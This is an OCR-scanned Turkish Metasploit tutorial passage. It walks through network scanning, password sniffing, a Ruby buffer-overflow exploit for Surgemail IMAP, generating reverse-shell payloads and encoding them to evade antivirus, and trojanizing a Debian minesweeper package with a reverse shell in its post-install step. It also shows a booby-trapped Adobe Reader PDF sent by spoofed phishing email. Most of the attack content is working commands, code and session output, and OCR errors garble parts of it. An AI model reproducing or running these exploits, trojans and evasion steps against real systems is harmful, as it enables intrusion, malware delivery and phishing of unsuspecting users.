FrontPage Server Extensions Detection
FrontPage Server Extensions Login Utility
HTTP Microsoft SQL Injection Table XSS

MS09-020 IIS6 WebDAV Unicode Auth Bypass
HTTP Options Detection
HTTP Version Detection

IPID Sequence Scanner

Borland InterBase Services Manager Information
Motorola Timbuktu Service Detection.

MSSQL Login Utility

MSSQL Ping Utility

MySQL Server Version Enumeration

NFS Mount Scanner

Oracle Enterprise Manager Control SID

SID Enumeration.
Oracle Application Server Spy Servlet SID

Oracle tnslsnr Service Version Query.
Oracle XML DB SID Discovery

SIP username enumerator

SIP Endpoint Scanner

SMB Login Check Scanner

SMB Session Pipe Auditor

SMB Session Pipe DCERPC Auditor
SMB 2.0 Protocol Detection

SMB Version Detection

SMTP Banner Grabber

AIX SNMP Scanner Auxiliary Module
SNMP Community Scanner

SSH Version Scannner

Wardialer

TFTP Brute Forcer

VNC Authentication None Detection
X11 No-Auth Scanner

SSH, giivenli bir protocol olmasina ragmen kendisine 6zgii agikliklart bulunmaktadir. RHOSTS segenegini bir
dosyadan okutup istenilen araligin taranmasi saglanir.

msf auxiliary(arp sweep) > use scanner/ssh/ssh version

msf auxiliary(ssh version) > show options

Module options:

Name Current Setting Required Description
RHOSTS yes The target address range or CIDR identifier
RPORT 22 yes The target port
THREADS 1 yes The number of concurrent threads
msf auxiliary(ssh version) > cat subnet l.gnmap | grep 22/open | awk '{print $2}' >

/tmp/22° open.txt
[*] exec: cat subnet l.gnmap | grep 22/open | awk '{print $2}' > /tmp/22 open.txt

msf auxiliary(ssh version) > set RHOSTS file:/tmp/22 open.txt
RHOSTS => file:/tmp/22 open.txt

msf auxiliary(ssh version) > set THREADS 50

THREADS => 50

msf auxiliary(ssh version) > run

92.168.1.1:22, SSH server version: SSH-2.0-dropbear 0.52
92.168.1.137:22, SSH server version: SSH-1.99-OpenSSH 4.4
Auxiliary module execution completed

[*11
[*11
[*]

Konfigiirasyonu kotii olan bir FTP serverin ele gecirilmesiyle network icerisinde s6z sahibi olunabilir.
THREADS secenegi ile ka¢ adet makinanin taranacag belirtilir.

msf > use scanner/ftp/anonymous
msf auxiliary(anonymous) > set RHOSTS 192.168.1.20-192.168.1.30
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RHOSTS => 192.168.1.20-192.168.1.30

msf auxiliary(anonymous) > set THREADS 10
THREADS => 10

msf auxiliary(anonymous) > show options

Module options:

Name Current Setting Required Description

FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as

RHOSTS yes The target address range or CIDR identifier
RPORT 21 yes The target port

THREADS 1 yes The number of concurrent threads

msf auxiliary(anonymous) > run
[*] 192.168.1.23:21 Anonymous READ (220 (vsFTPd 1.1.3))

[*] Recording successful FTP credentials for 192.168.1.23
[*] Auxiliary module execution completed

Password Sniffing

‘psnuffle’ dsniff uygulamasina benzer bir sekilde calisan, hat iizerindeki sifreleri yakalayan bir programdir.
Pop3, imap, ftp ve HTTP GET destekler.

‘psnuffle’ kullanimi asagidaki gibidir.

msf > use auxiliary/sniffer/psnuffle
msf auxiliary(psnuffle) > show options

Module options:

Name Current Setting Required Description

FILTER no The filter string for capturing traffic

INTERFACE no The name of the interface

PCAPFILE no The name of the PCAP capture file to process

PROTOCOLS all yes A comma-delimited list of protocols to sniff or
"all" .

RHOST yes The target address

SNAPLEN 65535 yes The number of bytes to capture

TIMEOUT 1 yes The number of seconds to wait for new data

msf auxiliary(psnuffle) > set RHOST 192.168.1.155

RHOST => 192.168.1.155

msf auxiliary(psnuffle) > run

[*] Auxiliary module running as background job

[*] Loaded protocol FTP from /pentest/exploits/framework3/data/exploits/psnuffle/ftp.rb...
[*] Loaded protocol IMAP from /pentest/exploits/framework3/data/exploits/psnuffle/imap.rb...
[*] Loaded protocol POP3 from /pentest/exploits/framework3/data/exploits/psnuffle/pop3.rb...
[*] Loaded protocol URL from /pentest/exploits/framework3/data/exploits/psnuffle/url.rb...
[*]
[*]
3CD

Sniffing traffic.....
Successful FTP Login: 192.168.1.112:21-192.168.1.101:48614 >> dookie / dookie (220 3Com
aemon FTP Server Version 2.0)

SNMP Sweeping

SNMP sweep hedef network hakkinda oldukg¢a fazla bilgi edinmeyi saglayan veya uzaktaki hedef tizerinde s6z
sahibi olmaya saglayan bir yapidir. Ornek olarak, private community stringe sahip bir Cisco cihazmnmn
konfigiirasyon dosyasi indirilebilir, degisitirebilir ve tekrardan yiiklenebilir. Bu sekilde kotii kodlar dosya
icerisine yazilabilir.

Metasploit icerisinde SNMP ile yonetilen aygitlari taramak i¢in uygun pluginler bulunur. Saldir1 yapmadan dnce
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SNMP hakkinda bazi bilgiler edinilmelidir. Read/only ve read/write community stringleri dogru bilinirse birgok
sey yapilir. Aksi takdirde yapilacaklar sinirli olacaktir.

msf > search snmp
[*] Searching loaded modules for pattern 'snmp'...

Exploits

Name Description

windows/ftp/oracle9i xdb_ ftp unlock Oracle 9i XDB FTP UNLOCK Overflow (win32)

Auxiliary

Name Description

scanner/snmp/aix version AIX SNMP Scanner Auxiliary Module
scanner/snmp/community SNMP Community Scanner

msf > use scanner/snmp/community
msf auxiliary(community) > show options

Module options:

Name Current Setting Required Description

BATCHSIZE 256 yes The number of
hosts to probe in each set

COMMUNITIES /pentest/exploits/framework3/data/wordlists/snmp.txt no The list of
communities that should be attempted per host

RHOSTS yes The target
address range or CIDR identifier

RPORT 161 yes The target
port

THREADS 1 yes The number of

concurrent threads

msf auxiliary(community) > set RHOSTS 192.168.0.0-192.168.5.255
rhosts => 192.168.0.0-192.168.5.255

msf auxiliary(community) > set THREADS 10

threads => 10

msf auxiliary(community) > exploit

[*] >> progress (192.168.0.0-192.168.0.255) 0/30208...
[*] >> progress (192.168.1.0-192.168.1.255) 0/30208...
[*] >> progress (192.168.2.0-192.168.2.255) 0/30208...
[*] >> progress (192.168.3.0-192.168.3.255) 0/30208...
[*] >> progress (192.168.4.0-192.168.4.255) 0/30208...
[*] >> progress (-) 0/0...

[*] 192.168.1.50 'public' 'APC Web/SNMP Management Card (MB:v3.8.6 PF:v3.5.5
PN:apc_hw02 aos 355.bin AF1:v3.5.5 ANl:apc hw02 sumx 355.bin MN:AP9619 HR:A10 SN: NA0827001465
MD:07/01/2008) (Embedded PowerNet SNMP Agent SW v2.2 compatible)'

[*] Auxiliary module execution completed

Shell Agmak

Onceki konularda kullanilan surgemail programinin ruby shell versiyonu bu linkten indirilebilir.

http://www.offensive-security.com/msf/surgemail_list.rb.

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/

##

require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Imap

def initialize(info = {})
super (update info (info,

'Name' => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',

'Description' => %g{
This module exploits a stack overflow in the Surgemail IMAP Server
version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
account credentials are required.

}I

'Author' => [ 'ryujin' 7,
'License' => MSF LICENSE,
'Version' => 'SRevision: 1 $',
'References’ =>

[
[ '"BID', '28260' ],
[ 'CVE', '2008-1498' 1,
[ "URL', 'http://www.milwOrm.com/exploits/5259' 1,
]I
'Privileged’ => false,
'DefaultOptions' =>
{
'"EXITFUNC' => 'thread',
}I

'Payload’ =>
{
'Space' => 10351,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'DisableNops' => true,
'BadChars' => "\x00"
}I
'Platform’ => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => "\x7e\x51\x78" } 1, # p/p/r 0x0078517e

I
'DisclosureDate' => 'March 13 2008"',

'DefaultTarget' => 0))

end
def check
connect
disconnect
if (banner and banner =~ /(Version 3.8k4-4)/)
return Exploit::CheckCode: :Vulnerable
end
return Exploit::CheckCode: :Safe
end

def exploit
connected = connect login

nopes = "\x90"* (payload space-payload.encoded.length) # to be fixed with make nops ()
sjump = "\xEB\xF9\x90\x90" # Jmp Back
njump = "\xE9\xDD\xD7\xFF\xFF" # And Back Again Baby ;)

evil = nopes + payload.encoded + njump + sjump + [target.ret].pack("A3")
print status("Sending payload")
sploit = '0002 LIST () "/' + evil + '™ "PWNED"' + "\r\n"
sock.put (sploit)
handler
disconnect
end

end

Yukaridaki kodla ilgili en 6nemli noktalar:

e Shellcode i¢in maksimum alani1 belirlendi (Space => 10351) ve DisableNops 6zelligi kaptilarak
shellcode i¢inde paddingi kapatildi.

e Varsayilan encoder IMAP dogasi geregince AlphanumMixed secildi .
e 3 bytelik POP POP RET doniis adresleri belirlendi.

e Chech fonksiyonu belirlendi bu sekilde ¢aligmalarin tamamlandig: ve gerekli seyleri buldugunu
onaylamak i¢in IMAP server banner1 kontrolii eklendi.
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msf > search surgemail
[*] Searching loaded modules for pattern 'surgemail'...

Exploits

Name Description

windows/imap/surgemail list Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow

msf > use windows/imap/surgemail list
msf exploit (surgemail list) > show options

Module options:

Name Current Setting Required Description

IMAPPASS test no The password for the specified username
IMAPUSER test no The username to authenticate as

RHOST 172.16.30.7 yes The target address

RPORT 143 yes The target port

Payload options (windows/shell/bind tcp) :

Name Current Setting Required Description

EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 4444 yes The local port

RHOST 172.16.30.7 no The target address

Exploit target:

Id Name

0 Windows Universal

msf exploit(surgemail list) > check

[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[+] The target is vulnerable.

root@bt:~$ ./msfcli exploit/windows/imap/surgemail list PAYLOAD=windows/shell/bind tcp

RHOST=172.16.30.7 IMAPPWD=test IMAPUSER=test E
[*] Started bind handler

[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.

[*] Authenticating as test with password test...
[*] Sending payload
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& Immunity Debugger - surgemail.exe - [CPU - thread 0000090C, module surgemai]
File Wiew Debug Plugins  Immbb  Options  Window  Help  Jobs - ﬂ
OB EE Mx P I WAl 1l emtwhcPkbzr. s ?EER
: = £

CHP

HEESASE S el Reaisters [FFLU)
E

. o4

@( FFFFFFFF)
FFFFFFFF]
FFFFFFFF]
FFFFFFFE
FRADGEE! FFF)

FEFFFFFF """

Paused

[07:20: 3] Access violation when reading [S03030ED] - uze Shift+F7/FE/F9 to pass exception to pragram

Offset dogru belirlendi, ¢alismalarin devamui igin breakpoint eklenmelidir.

Immlib  Options  Window  Help  Jobs -|F ﬂ

File Wiew Debug Plugins
O™ EE MX Pl Ml 1 emtwhcPkDbzr. s ?‘

Paused

[07:20: 31 ] dvccess violation when reading [309030E0] - uge Shift+F7/FS/F3 to pazs exception to program

Caligma akist POP POPRET bufferia dogru yonlendirilir.
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xe - [CPU - thread 00000

& Immunity Debugger - surgema

File wiew Debug Plugins Immlb Options ‘Window Help Jobs
OB EE ax N MM+ 1 emtwhcelPkbz . s ?ER
£ Fegisters (FFUI

& | BSFICEFS

RETURH

|
Pauzed

< Immunity Debugge
File Wiew Debug Plugins Immlib Options ‘Window Help Jobs = ﬂ
OB EE Axpr N4 1lemtwhcPkbzr. s ?[EER

Hddress |Hex dump

|
Pauzed

Nihayetinde, Metasploit ile shell agilmalidir.

> set PAYLOAD windc

msf exploit (surgemail list)
PAYLOAD => windows/meterpreter/bind tcp
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msf exploit (surgemail list) > exploit

[*] Connecting to IMAP server 172.16.30.7:143...

[*] Started bind handler

[*] Connected to target IMAP server.

[*] Authenticating as test with password test...

[*] Sending payload

[*] Transmitting intermediate stager for over-sized stage... (191 bytes)
[*] Sending stage (2650 bytes)

[*] Sleeping before handling stage...

[*] Uploading DLL (75787 bytes)...

[*] Upload completed.

[*] Meterpreter session 1 opened (172.16.30.34:63937 -> 172.16.30.7:4444)

meterpreter > execute -f cmd.exe -c -1
Process 672 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

c:\surgemail>

Binary Payloads

Metasploit yeteneklerinden birtanesi de payload tiretmektir. Sosyal miihendislik durumlarinda gok ise
yarayabilen bir durum olmakla beraber herhangi bir kullanicini iirettiginiz payloadu ¢alistirmasi saglanirsa
exploit uygulamasi sorunsuz olacaktir.

Bunun yapilabilmesi i¢in komut satirmdan msfpayload secenegi kullanilir. Bu komut vasitasiyla C gibi bir¢ok dil
vasitasiyla istenilen payload tiretilebilir.

31337 nolu porta baglanicak olan Windows reverse shell payloadu i¢cin asagidaki komut kullanilir. ‘O’ segenegi
ne gibi degiskenlerin oldugunu gosterir.

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell reverse tcp O

Name: Windows Command Shell, Reverse TCP Inline
Version: 6479
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 287

Provided by:
v1ad902 v1lad902@gmail.com

Basic options:

Name Current Setting Required Description

EXITFUNC seh yes Exit technique: seh, thread, process
LHOST yes The local address

LPORT 4444 yes The local port

Description:

Connect back to attacker and spawn a command shell

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell reverse tcp
LHOST=172.16.104.130 LPORT=31337 O

Name: Windows Command Shell, Reverse TCP Inline
Version: 6479

Platform: Windows

Arch: x86

Needs Admin: No

Total size: 287

Provided by:
v1ad902 vlad902@gmail.com

Basic options:
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Name Current Setting Required Description

EXITFUNC seh yes Exit technique: seh, thread, process
LHOST 172.16.104.130 yes The local address

LPORT 31337 yes The local port

Description:

Connect back to attacker and spawn a command shell

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell reverse tcp
LHOST=172.16.104.130 LPORT=31337 X > /tmp/l.exe

Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell reverse tcp

Length: 287

Options: LHOST=172.16.104.130,LPORT=31337
root@bt:/pentest/exploits/framework3# file /tmp/l.exe

/tmp/1l.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit

Windows dosyasi hazir. Framework diginda exploit kontroliinii saglamak i¢in multi/handler kullanilmalidir.

root@btd:/pentest/exploits/framework3# ./msfconsole

[
+ -- ——=[ 371 exploits - 234 payloads
+ -- —-—=[ 20 encoders - 7 nops
=[ 149 aux

msf > use exploit/multi/handler
msf exploit (handler) > show options

Module options:

Name Current Setting Required Description

Exploit target:

Id Name

0 Wildcard Target

msf exploit(handler) > set payload windows/shell/reverse tcp
payload => windows/shell/reverse tcp
msf exploit (handler) > show options

Module options:

Name Current Setting Required Description

Payload options (windows/shell/reverse tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique: seh, thread, process
LHOST yes The local address

LPORT 4444 yes The local port
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Exploit target:

Id Name

0 Wildcard Target

msf exploit (handler) > set LHOST 172.16.104.130
LHOST => 172.16.104.130

msf exploit (handler) > set LPORT 31337

LPORT => 31337

msf exploit (handler) >

Hersey hazirlandiktan sonra handler bizim i¢in exploiti ¢aligtiracaktir.

msf exploit (handler) > exploit

*] Handler binding to LHOST 0.0.0.0

*] Started reverse handler

*] Starting the payload handler...

*] Sending stage (474 bytes)

*] Command shell session 2 opened (172.16.104.130:31337 -> 172.16.104.128:1150)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Jim\My Documents>

Antivirus Bypass

Metasploit binary payloadlar: istenilen gibi calismasma ragmen yine de bazi sikintilar olusabilir. Cogu Windows
tabanl sistemler, korunma saglamak i¢in antiviriis programi kullanirlar.

B Resident Shield alert 3

Accessed file is infected

Threat detected!

File name: C:\Documents and Settings’Jimi\My Documents'\1.exe

Threat name: Virus identified Dropper.Mdrop.N
Detected on open.
Mare information about this threat ...

[~ Remove threat as Power Lser

Move to Vault lgnore

+ | Show details

Antiviriis programina yakalanmadan exploit ¢aligtirabilmek i¢in msfencode modiilii ¢alistirilmalidir. Yardim
almak i¢in —h parametresi kullanilmalidir.

root@bt4:/pentest/exploits/framework3# ./msfencode -h
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Usage: ./msfencode
OPTIONS:
-a The architecture to encode as

-b The list of characters to avoid: 'x00xff'
-c The number of times to encode the data

-e The encoder to use

-h Help banner

-1 Encode the contents of the supplied file path
-1 List available encoders

-m Specifies an additional module search path

-n Dump encoder information

-0 The output file

-s The maximum size of the encoded data

-t The format to display the encoded buffer with (raw, ruby, perl, c, exe, vba)

Varolan encoderlar1 gérmek i¢in asagidaki komut uygulanmalidir.

root@btd:/pentest/exploits/framework3# ./msfencode -1

Framework Encoders

Name Rank Description

cmd/generic_sh normal Generic Shell Variable Substitution Command Encoder
generic/none normal The "none" Encoder

mipsbe/longxor normal XOR Encoder

mipsle/longxor normal XOR Encoder

php/base64 normal PHP Base64 encoder

ppc/longxor normal PPC LongXOR Encoder

ppc/longxor tag normal PPC LongXOR Encoder

sparc/longxor tag normal SPARC DWORD XOR Encoder

x86/alpha mixed low Alpha2? Alphanumeric Mixedcase Encoder
x86/alpha_ upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid utf8 tolower manual Avoid UTF8/tolower

x86/calld_dword_xor normal Call+4 Dword XOR Encoder

x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call additive great Polymorphic Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder

x86/nonupper low Non-Upper Encoder

x86/shikata ga nai excellent Polymorphic XOR Additive Feedback Encoder
x86/unicode mixed manual Alpha2? Alphanumeric Unicode Mixedcase Encoder
x86/unicode upper manual Alpha2? Alphanumeric Unicode Uppercase Encoder

Yukaridaki encoderlardan birtanesi segilip islem baglatilir.

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell reverse tcp
LHOST=172.16.104.130 LPORT=31337 R ./msfencode -e x86/shikata ga nai -t exe > /tmp/2.exe

[*] x86/shikata_ga_nai succeeded with size 315 (iteration=1)
root@bt:/pentest/exploits/framework3# file /tmp/2.exe

/tmp/2.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
Olusturulan dosya transfer edilmelidir.
Results overview | Infections

File - l Infection I Result l
@ C:\Documents and Settings\JimMy Documents\2.exe  Virus identified Dropper.Mdrop.N Infected

Yukarida gériildigii gibi antiviris programi dosyay: yakaladi. Ancak antiviriis programlarini gegememek zor
degildir. Ustiiste ii¢ kere encoder uygulanip sonuglar izlenmelidir.

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell reverse tcp

LHOST=172.16.104.130 LPORT=31337 R ./msfencode -e x86/shikata ga nai -t raw -c 10
./msfencode -e x86/call4 dword xor -t raw -c 10 | ./msfencode -e x86/countdown -t exe >
/tmp/6.exe
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[*]

[*]

[*]

[*]

[*]

[*]

[*]

[*]

x86/shikata ga nai succeeded with size 315 (iteration=1)
x86/shikata ga nai succeeded with size 342 (iteration=2)
x86/shikata _ga nai succeeded with size 369 (iteration=3)
x86/shikata ga nai succeeded with size 396 (iteration=4)
x86/shikata_ga nai succeeded with size 423 (iteration=5)
x86/shikata _ga nai succeeded with size 450 (iteration=6)
x86/shikata ga nai succeeded with size 477 (iteration=7)
x86/shikata _ga nai succeeded with size 504 (iteration=8)
x86/shikata _ga nai succeeded with size 531 (iteration=9)
x86/shikata ga nai succeeded with size 558 (iteration=10)
x86/call4 dword xor succeeded with size 586 (iteration=1)
x86/call4 dword xor succeeded with size 614 (iteration=2)
x86/call4 dword xor succeeded with size 642 (iteration=3)
x86/call4 dword xor succeeded with size 670 (iteration=4)
x86/call4 dword xor succeeded with size 698 (iteration=5)
x86/call4 dword xor succeeded with size 726 (iteration=6)
x86/call4 dword xor succeeded with size 754 (iteration=7)
x86/call4 dword xor succeeded with size 782 (iteration=8)
x86/call4 dword xor succeeded with size 810 (iteration=9)
x86/call4 dword xor succeeded with size 838 (iteration=10)

x86/countdown succeeded with size 856 (iteration=1)

root@btd:/pentest/exploits/framework3# file /tmp/6.exe
/tmp/6.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit

Dosya tekrar transfer edildikten sonra asagidaki sonug ile karsilasilir.

Threat detected!

File name: C:\Documents and SettingsJimiMy DocumentshB.exe

Threat name: Virus identified Dropper.Mdrop.N
Detected on open.
Mare information about this threat ...

[T Remove threat as Power User

o Heal i | Move toVault lgnore

w | Show details
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Goriildiigi gibi tekrar antiviriis programi dosyayi yakaladi. Bundan sonraki agama encoder degil kullanilan
payloadu degistirmek olmalidir. Window/shell reverse tcp yerine windows/shell/reverse tcp secilmelidir.

Bilindigi gibi antiviriis teknolojisi genellikle imza tabanl1 yakalama prensibine dayanur. ik kullanilan paylaodun
imzas1 viriis veritabanlarinda mevcuttur. Ancak yeni kullanilacak olan mevcut degildir.

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell/reverse tcp
LHOST=172.16.104.130 LPORT=31337 X > /tmp/7.exe

Created by msfpayload (http://www.metasploit.com).

Payload: windows/shell/reverse tcp

Length: 278

Options: LHOST=172.16.104.130,LPORT=31337

root@btd:/pentest/exploits/framework3# file /tmp/7.exe
/tmp/7.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit

Olusturulan dosya transfer edilmelidir.

root@btd:/pentest/exploits/framework3# ./msfcli exploit/multi/handler
PAYLOAD=windows/shell/reverse tcp LHOST=172.16.104.130 LPORT=31337 E

[*] Please wait while we load the module tree...

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Starting the payload handler...

[*] Sending stage (474 bytes)

[*] Command shell session 1 opened (172.16.104.130:31337 -> 172.16.104.128:1548)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Jim\My Documents>dir
dir

Volume in drive C has no label.

Volume Serial Number is E423-E726

Directory of C:\Documents and Settings\Jim\My Documents
05/27/2009 09:56 PM
05/27/2009 09:56 PM

05/25/2009 09:36 PM 9,728 7.exe
05/25/2009 11:46 PM

Downloads

10/29/2008 05:55 PM

My Music

10/29/2008 05:55 PM

My Pictures

1 File(s) 9,728 bytes

5 Dir(s) 38,655,614,976 bytes free

C:\Documents and Settings\Jim\My Documents>

Goriildigi gibi antiviriis programi dosyamizi yakalayamadi ve kargi tarafa shell agmig olduk.

Binary Linux Trojanlar:

Onceki béliimde olusturulan payload sadece Windows tabanli sistemlerde degil Linux tabanli sistemlerde de
kullanilabilir.

Bunun ig¢in 6ncelikle kullanilacak olan program indirilmelidir. Freesweep programi windowstaki mayin tarlamasi
oyunudur.

root@bt4d:/pentest/exploits/framework3# apt-get --download-only install freesweep
Reading package lists... Done
Building dependency tree
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Reading state information... Done

root@bt4d:/pentest/exploits/framework3# mkdir /tmp/evil
root@bt4:/pentest/exploits/framework3# mv /var/cache/apt/archives/freesweep 0.90-1 1386.deb
/tmp/evil

root@bt4d:/pentest/exploits/framework3# cd /tmp/evil/

root@btd:/tmp/evil#

Indirilen dosya agilmali ve DEBIAN isimli bir dizin olusturulmalidur.

root@v-bté-pre:/tmp/evil# dpkg -x freesweep 0.90-1 i386.deb work
root@v-btd-pre:/tmp/evil# mkdir work/DEBIAN

Bu dizin igerisinde control isimli bir dosya olusturup icerisine asagidakiler eklenmelidir

root@btd:/tmp/evil/work/DEBIAN# cat control

Package: freesweep

Version: 0.90-1

Section: Games and Amusement

Priority: optional

Architecture: 1386

Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper

Freesweep is an implementation of the popular minesweeper game, where
one tries to find all the mines without igniting any, based on hints given
by the computer. Unlike most implementations of this game, Freesweep
works in any visual text display - in Linux console, in an xterm, and in
most text-based terminals currently in use.

Daha sonra yiikleme sonrasinda galistirilacak olan postinstall scripti hazirlanmaldir:

root@bt4:/tmp/evil/work/DEBIAN# cat postinst
#!/bin/sh

sudo chmod 2755 /usr/games/freesweep scores && /usr/games/freesweep scores &
/usr/games/freesweep &

Freesweep_scores isminde zararl kod igeren bir payload olustururak reversa agilmasi saglanir.

root@bt4:/pentest/exploits/framework3# ./msfpayload linux/x86/shell/reverse tcp
LHOST=192.168.1.101 LPORT=443 X > /tmp/evil/work/usr/games/freesweep scores
Created by msfpayload (http://www.metasploit.com).

Payload: linux/x86/shell/reverse tcp

Length: 50

Options: LHOST=192.168.1.101,LPORT=443

Olusturulan dosyalar ¢alistirilabilir hale getirilip, pakete doniistiiriilmelidir. Daha sonrasinda ismi freesweep.deb
olarak degistirilmelidir.

root@bt4:/tmp/evil/work/DEBIAN# chmod 755 postinst
root@bt4:/tmp/evil/work/DEBIAN# dpkg-deb --build /tmp/evil/work
dpkg-deb: building package "freesweep' in '/tmp/evil/work.deb'.
root@bt4:/tmp/evil# mv work.deb freesweep.deb
root@bt4:/tmp/evil# cp freesweep.deb /var/www/

Apache web server ¢aligtirilmalidir.
root@bt4d:/tmp/evil# /etc/init.d/apache? start
Incoming baglantilar1 yoénetebilmek i¢in multi/handler modiilii kullanilmalidir.
root@bt4: /pentest/exploits/framework3# ./msfcli exploit/multi/handler
PAYLOAD=1linux/x86/shell/reverse tcp LHOST=192.168.1.101 LPORT=443 E
[*] Please wait while we load the module tree...

Handler binding to LHOST 0.0.0.0

[*]
[*] Started reverse handler
[*] Starting the payload handler...

Kurbanm paketi indirip kurmasi gerekmektedir.
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ubuntu@ubuntu:~$ wget http://192.168.1.101/freesweep.deb

ubuntu@ubuntu:~$ sudo dpkg -i freesweep.deb
Kurban programu yiikleyip oynadiktan sonra shell ekran1 géziikecektir

[*] Sending stage (36 bytes)
[*] Command shell session 1 opened (192.168.1.101:443 -> 192.168.1.175:1129)

ifconfig

ethl Link encap:Ethernet HWaddr 00:0C:29:C2:E7:E6

inet addr:192.168.1.175 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:49 errors:0 dropped:0 overruns:0 frame:0

TX packets:51 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:43230 (42.2 KiB) TX bytes:4603 (4.4 KiB)

Interrupt:17 Base address:0x1400

hostname

ubuntu

id

uid=0 (root) gid=0(root) groups=0(root)

Client Tarafh Saldirilar

Giivenlik diinyasinda sosyal miihendislik saldirilar1 giin be giin artmaya basladi. Teknoloji degismeye,
gelismeye devam etmesine ragmen, degismeyen tek insan yiiziinden olusan giivenlik agiklaridir.

Ilk senaryoda, saldirgan MSF, Maltego gibi uygulamalar vasitastyla kurban hakkinda bilgi toplayacaktir.
Yeterli ve gerekli arastirmalardan sonra iki bilgiye erisilecektir:

1) Teknis servis i¢in “Best Computers” kullanilmaktadir.

2) IT departmaninin mail adresi itdept@victim.com dur.

IT departmaninin bilgisayarlar1 ele gecirilmek istenmektedir. Bunun igin ilk adim olarak msfconsole
yiiklenecektir.

Yiikleme yapildiktan sonra, kurbanin giivenli zannedecegi bir PDF dosyasi olusturulmalidir. Yasal, gercekei ve
antivirlis yazilimlar1 tarafindan yakalanmayan bir dosya olusturulmalidir.

Adobe Reader 'util.printf()' JavaScript Function Stack Buffer Overflow zafiyeti kullanilacaktir.

PDF olusturmaya baglanir:

msf > use exploit/windows/fileformat/adobe utilprintf

msf exploit (adobe utilprintf) > set FILENAME BestComputers-Upgradelnstructions.pdf
FILENAME => BestComputers-UpgradelInstructions.pdf

msf exploit(adobe utilprintf) > set PAYLOAD windows/meterpreter/reverse tcp
PAYLOAD => windows/meterpreter/reverse tcp

msf exploit (adobe utilprintf) > set LHOST 192.168.8.128

LHOST => 192.168.8.128

msf exploit (adobe utilprintf) > set LPORT 4455

LPORT => 4455
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msf exploit (adobe utilprintf) > show options

Module options:

Name Current Setting Required Description
FILENAME BestComputers-UpgradeInstructions.pdf yes The file name.
OUTPUTPATH /pentest/exploits/framework3/data/exploits vyes The location of the file.

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process
LHOST 192.168.8.128 yes The local address

LPORT 4455 yes The local port

Exploit target:

Id Name

0 Adobe Reader v8.1.2 (Windows XP SP3 English)

Biitiin se¢encekler kaydedildikten sonra exploit ¢aligtirilir.

msf exploit (adobe utilprintf) > exploit

] Handler binding to LHOST 0.0.0.0

] Started reverse handler

] Creating 'BestComputers-UpgradelInstructions.pdf' file...

] Generated output file /pentest/exploits/framework3/data/exploits/BestComputers—
UpgradeInstructions.pdf
[*] Exploit completed, but no session was created.

f exploit (adobe utilprintf) >

PDF bulunulan dizinin altina alt dizin olarak kopyalandi. Zararli dosya kurbana génderilmeden 6nce, tersine
baglantinin dinlenilmesi igin handler kullanilmasi gerekmektedir.

msf > use exploit/multi/handler

msf exploit (handler) > set PAYLOAD windows/meterpreter/reverse tcp
PAYLOAD => windows/meterpreter/reverse tcp

msf exploit (handler) > set LPORT 4455

LPORT => 4455

msf exploit (handler) > set LHOST 192.168.8.128

LHOST => 192.168.8.128

msf exploit (handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...

Dinleyici program kurulduktan sonra, baglantinin gelmesi i¢in kurban ile iletisime gegmek gerekmektedir.
Hazirlanilan zararl pdf dosyasi sendEmail uygulamasi ile daha 6nce 6grenilen kurbanin mail adresine bir mail
eklentisi olarak gonderilecektir.

root@btd:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -
u Important Upgrade Instructions -a /tmp/BestComputers-UpgradelInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

IT Dept,

We are sending this important file to all our customers. It contains very important
instructions for upgrading and securing your software. Please read and let us know if you have
any problems.

Sincerely,

Best Computers Tech Support
Aug 24 17:32:51 bt4 sendEmail[13144]: Message input complete.
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Aug 24 17:32:51 bt4 sendEmail[13144]: Email was sent successfully!

